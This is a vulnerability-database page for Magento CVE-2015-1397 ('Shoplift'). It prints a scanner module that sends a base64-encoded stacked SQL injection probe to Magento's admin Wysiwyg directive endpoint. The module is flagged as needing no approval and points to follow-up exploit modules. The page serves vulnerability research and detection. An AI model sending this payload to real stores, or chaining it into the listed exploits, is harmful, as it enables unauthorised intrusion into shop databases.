Magento CVE-2015-1397 Shoplift Detect
| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| CVE-2015-1397 | 23 Aug 201613:20 | – | circl | |
| Magento Community Edition and Enterprise Edition SQL Injection Vulnerabilities | 30 Apr 201500:00 | – | cnvd | |
| Magento eCommerce Web Sites SQL Injection (CVE-2015-1397) | 1 Feb 201500:00 | – | checkpoint_advisories | |
| CVE-2015-1397 | 29 Apr 201522:00 | – | cve | |
| CVE-2015-1397 | 29 Apr 201522:00 | – | cvelist | |
| Magento eCommerce - Remote Code Execution | 26 Aug 201500:00 | – | exploitdb | |
| Magento-eCommerce-RCE-CVE-2015-1397 | 25 Oct 202622:23 | – | kitploit | |
| CVE-2015-1397 | 27 Oct 202613:36 | – | kitploit | |
| CVE-2015-1397 | 27 Oct 202613:33 | – | kitploit | |
| CVE-2015-1397-Magento-Shoplift | 29 Oct 202604:57 | – | kitploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Magento CE CVE-2015-1397 Shoplift SQLi surface detect."""
import base64
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
"name": "Magento CVE-2015-1397 Shoplift Detect",
"description": (
"Fingerprints Magento and probes Cms_Wysiwyg/directive/index "
"for SUPEE-5344 missing (stacked SQLi sink)."
),
"author": ["KittySploit Team"],
"severity": "critical",
"cve": ["CVE-2015-1397"],
"tags": ["web", "scanner", "magento", "sqli", "cve-2015-1397"],
"references": ["https://nvd.nist.gov/vuln/detail/CVE-2015-1397"],
"agent": {
"risk": "active",
"effects": ["network_probe"],
"expected_requests": 2,
"reversible": True,
"approval_required": False,
"produces": ["tech_hints", "risk_signals"],
"chain": {
"suggested_followups": [
"exploits/multi/http/magento_cve_2015_1397_shoplift",
"exploits/multi/http/magento_cve_2015_1398_rce",
],
},
},
}
def run(self):
r = self.http_request("GET", "/")
body = (r.text or "").lower() if r else ""
if "magento" not in body and "mage" not in body:
return False
directive_b64 = base64.b64encode(
b"{{block type=Adminhtml/report_search_grid output=getCsvFile}}"
).decode()
probe_filter = base64.b64encode(
b"popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);SELECT SLEEP(0)-- "
).decode()
r2 = self.http_request(
"POST",
"/index.php/admin/Cms_Wysiwyg/directive/index/",
data={"___directive": directive_b64, "filter": probe_filter, "forwarded": "1"},
)
code = int(r2.status_code or 0) if r2 else 0
if code in (200, 500):
self.set_info(
severity="critical",
cve="CVE-2015-1397",
reason="Magento Wysiwyg directive accepts filter (Shoplift class)",
confidence="medium",
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
26 Oct 2026 17:01Current
5.9Medium risk
Vulners AI Score5.9
CVSS 26.5
EPSS0.5577